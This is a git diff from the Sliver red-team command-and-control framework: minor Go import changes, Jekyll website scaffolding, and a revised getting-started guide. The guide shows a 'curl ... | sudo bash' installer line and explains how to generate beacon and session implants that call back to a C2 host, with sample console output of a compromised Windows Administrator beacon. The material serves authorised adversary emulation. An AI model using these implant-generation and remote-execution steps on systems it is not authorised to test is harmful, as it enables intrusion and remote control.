loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(resp.Body)
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
|
||||
@@ -3,7 +3,7 @@ package version
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<style type="text/css" media="screen">
|
||||
.container {
|
||||
margin: 10px auto;
|
||||
max-width: 600px;
|
||||
text-align: center;
|
||||
}
|
||||
h1 {
|
||||
margin: 30px 0;
|
||||
font-size: 4em;
|
||||
line-height: 1;
|
||||
letter-spacing: -1px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<div class="container">
|
||||
<h1>404</h1>
|
||||
|
||||
<p><strong>Page not found :(</strong></p>
|
||||
<p>The requested page could not be found.</p>
|
||||
</div>
|
||||
@@ -0,0 +1,41 @@
|
||||
source "https://rubygems.org"
|
||||
|
||||
# Hello! This is where you manage which Jekyll version is used to run.
|
||||
# When you want to use a different version, change it below, save the
|
||||
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
|
||||
#
|
||||
# bundle exec jekyll serve
|
||||
#
|
||||
# This will help ensure the proper Jekyll version is running.
|
||||
# Happy Jekylling!
|
||||
gem "jekyll", "~> 3.9.0"
|
||||
|
||||
# This is the default theme for new Jekyll sites. You may change this to anything you like.
|
||||
# gem "minima", "~> 2.0"
|
||||
gem "github-pages", group: :jekyll_plugins
|
||||
|
||||
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
|
||||
# uncomment the line below. To upgrade, run `bundle update github-pages`.
|
||||
# gem "github-pages", group: :jekyll_plugins
|
||||
|
||||
# If you have any plugins, put them here!
|
||||
group :jekyll_plugins do
|
||||
gem "jekyll-feed", "~> 0.6"
|
||||
end
|
||||
|
||||
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
|
||||
# and associated library.
|
||||
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
|
||||
gem "tzinfo", "~> 1.2"
|
||||
gem "tzinfo-data"
|
||||
end
|
||||
|
||||
# Performance-booster for watching directories on Windows
|
||||
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
|
||||
|
||||
# kramdown v2 ships without the gfm parser by default. If you're using
|
||||
# kramdown v1, comment out this line.
|
||||
gem "kramdown-parser-gfm"
|
||||
|
||||
|
||||
gem "webrick", "~> 1.8"
|
||||
@@ -0,0 +1,274 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.6.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.9)
|
||||
concurrent-ruby (1.2.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.16.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (2.7.4)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (228)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.3)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.4.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-include-cache (= 0.2.1)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
jekyll-readme-index (= 0.3.0)
|
||||
jekyll-redirect-from (= 0.16.0)
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.8.0)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.2.0)
|
||||
jekyll-theme-cayman (= 0.2.0)
|
||||
jekyll-theme-dinky (= 0.2.0)
|
||||
jekyll-theme-hacker (= 0.2.0)
|
||||
jekyll-theme-leap-day (= 0.2.0)
|
||||
jekyll-theme-merlot (= 0.2.0)
|
||||
jekyll-theme-midnight (= 0.2.0)
|
||||
jekyll-theme-minimal (= 0.2.0)
|
||||
jekyll-theme-modernist (= 0.2.0)
|
||||
jekyll-theme-primer (= 0.6.0)
|
||||
jekyll-theme-slate (= 0.2.0)
|
||||
jekyll-theme-tactile (= 0.2.0)
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.2)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.4)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.13.6, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.9)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.3)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.3)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (>= 0.7, < 2)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
liquid (~> 4.0)
|
||||
mercenary (~> 0.3.3)
|
||||
pathutil (~> 0.9)
|
||||
rouge (>= 1.7, < 4)
|
||||
safe_yaml (~> 1.0)
|
||||
jekyll-avatar (0.7.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.4.0)
|
||||
commonmarker (~> 0.23.7)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 5.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-gist (1.5.0)
|
||||
octokit (~> 4.2)
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-include-cache (0.2.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-optional-front-matter (0.3.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-paginate (1.1.0)
|
||||
jekyll-readme-index (0.3.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-redirect-from (0.16.0)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-relative-links (0.6.1)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-remote-theme (0.4.3)
|
||||
addressable (~> 2.0)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.8.0)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.6.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-watch (2.2.1)
|
||||
listen (~> 3.0)
|
||||
jemoji (0.12.0)
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.2)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.4)
|
||||
listen (3.8.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.8.1)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.7)
|
||||
racc (1.6.2)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rouge (3.26.0)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
sass-listen (~> 4.0.0)
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
unicode-display_width (~> 1.1, >= 1.1.1)
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.11)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
webrick (1.8.1)
|
||||
zeitwerk (2.6.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
github-pages
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-feed (~> 0.6)
|
||||
kramdown-parser-gfm
|
||||
tzinfo (~> 1.2)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.0)
|
||||
webrick (~> 1.8)
|
||||
|
||||
BUNDLED WITH
|
||||
2.4.6
|
||||
@@ -0,0 +1,51 @@
|
||||
# Welcome to Jekyll!
|
||||
#
|
||||
# This config file is meant for settings that affect your whole blog, values
|
||||
# which you are expected to set up once and rarely edit after that. If you find
|
||||
# yourself editing this file very often, consider using Jekyll's data files
|
||||
# feature for the data you need to update frequently.
|
||||
#
|
||||
# For technical reasons, this file is *NOT* reloaded automatically when you use
|
||||
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
|
||||
|
||||
# Site settings
|
||||
# These are used to personalize your new site. If you look in the HTML files,
|
||||
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
|
||||
# You can create any custom variable you would like, and they will be accessible
|
||||
# in the templates via {{ site.myvariable }}.
|
||||
title: Sliver
|
||||
description: >- # this means to ignore newlines until "baseurl:"
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework.
|
||||
|
||||
baseurl: "" # the subpath of your site, e.g. /blog
|
||||
url: "https://sliver.sh/"
|
||||
|
||||
github:
|
||||
latest_url: https://github.com/BishopFox/sliver/releases/latest
|
||||
repository_url: https://github.com/BishopFox/sliver
|
||||
|
||||
# Build settings
|
||||
markdown: kramdown
|
||||
theme: jekyll-theme-hacker
|
||||
show_downloads: true
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
|
||||
plugins:
|
||||
- jekyll-notion
|
||||
|
||||
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
|
||||
notion:
|
||||
fetch_on_watch: true
|
||||
databases:
|
||||
- id: 4bbf1c77cabc46e09428c871283683d3
|
||||
|
||||
# Exclude from processing.
|
||||
# The following items will not be processed, by default. Create a custom list
|
||||
# to override the default setting.
|
||||
exclude:
|
||||
- Gemfile
|
||||
- Gemfile.lock
|
||||
- CNAME
|
||||
- .gitignore
|
||||
- _site
|
||||
@@ -0,0 +1,39 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="{{ site.lang | default: "en-US" }}">
|
||||
<head>
|
||||
<meta charset='utf-8'>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
|
||||
|
||||
{% seo %}
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<header>
|
||||
<div class="container">
|
||||
<a id="a-title" href="{{ '/' | relative_url }}">
|
||||
<h1>{{ site.title | default: site.github.repository_name }}</h1>
|
||||
</a>
|
||||
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
|
||||
|
||||
<section id="downloads">
|
||||
{% if site.show_downloads %}
|
||||
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
|
||||
{% endif %}
|
||||
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
|
||||
</section>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<section id="main_content">
|
||||
|
||||
{{ content }}
|
||||
|
||||
</section>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<small>{{ page.date | date: "%-d %B %Y" }}</small>
|
||||
<h1>{{ page.title }}</h1>
|
||||
|
||||
<p class="view">by {{ page.author | default: site.author }}</p>
|
||||
|
||||
{{ content }}
|
||||
|
||||
{% if page.tags %}
|
||||
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
|
||||
{% endif %}
|
||||
+59
-56
@@ -1,54 +1,52 @@
|
||||
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
---
|
||||
layout: post
|
||||
title: "Getting Started"
|
||||
author: "moloch"
|
||||
date: 2021-07-07 09:01:33 -0500
|
||||
categories: sliver
|
||||
---
|
||||
|
||||
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
|
||||
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/install-1.cast", "cols": "132"}
|
||||
```
|
||||
## Server Setup
|
||||
|
||||
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
|
||||
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
|
||||
|
||||
#### System Requirements
|
||||
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
|
||||
|
||||
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
|
||||
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
|
||||
|
||||
### MinGW Setup (Optional, Recommended)
|
||||
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
|
||||
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
|
||||
|
||||
#### Linux (Debian-based)
|
||||
|
||||
```
|
||||
apt install git mingw-w64
|
||||
apt install mingw-w64
|
||||
```
|
||||
|
||||
#### MacOS
|
||||
|
||||
```
|
||||
brew install git mingw-w64
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
|
||||
|
||||
See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details.
|
||||
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
|
||||
|
||||
### Metasploit Setup (Optional)
|
||||
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.
|
||||
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
|
||||
|
||||
## Implants: Beacon vs. Session
|
||||
## Implants Beacon vs. Session
|
||||
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
|
||||
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
|
||||
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
|
||||
|
||||
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
|
||||
|
||||
@@ -56,18 +54,29 @@ Some commands such as `shell` and `portfwd` only work over interactive sessions.
|
||||
|
||||
## Generating Implants
|
||||
|
||||
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
|
||||
|
||||
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
|
||||
|
||||
#### Session Mode
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}
|
||||
```
|
||||
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 Sliver binary
|
||||
[*] Build completed in 00:00:16
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
#### Beacon Mode
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
|
||||
```
|
||||
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
|
||||
|
||||
[*] Generating new windows/amd64 beacon implant binary (1m0s)
|
||||
[*] Symbol obfuscation is enabled
|
||||
[*] Build completed in 00:00:27
|
||||
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
|
||||
```
|
||||
|
||||
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
|
||||
@@ -109,9 +118,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
#### Additional Details
|
||||
|
||||
For addition details about each C2 please see:
|
||||
|
||||
- [HTTP(S) C2](/docs?name=HTTPS+C2)
|
||||
- [DNS C2](/docs?name=DNS+C2)
|
||||
* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
|
||||
* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
|
||||
|
||||
## Getting Shells
|
||||
|
||||
@@ -152,7 +160,7 @@ sliver (LONG_DRAMATURGE) > ls
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
@@ -163,9 +171,9 @@ Upon initial execution the beacon will register itself with the C2 server and wi
|
||||
|
||||
[server] sliver > beacons
|
||||
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
|
||||
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
|
||||
|
||||
@@ -189,29 +197,29 @@ drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
|
||||
...
|
||||
```
|
||||
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
|
||||
**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
|
||||
You can view previous tasks executed by the active beacon using the `tasks` command:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
|
||||
ID State Message Type Created Sent Completed
|
||||
ID State Message Type Created Sent Completed
|
||||
========== =========== ============== =============================== =============================== ===============================
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
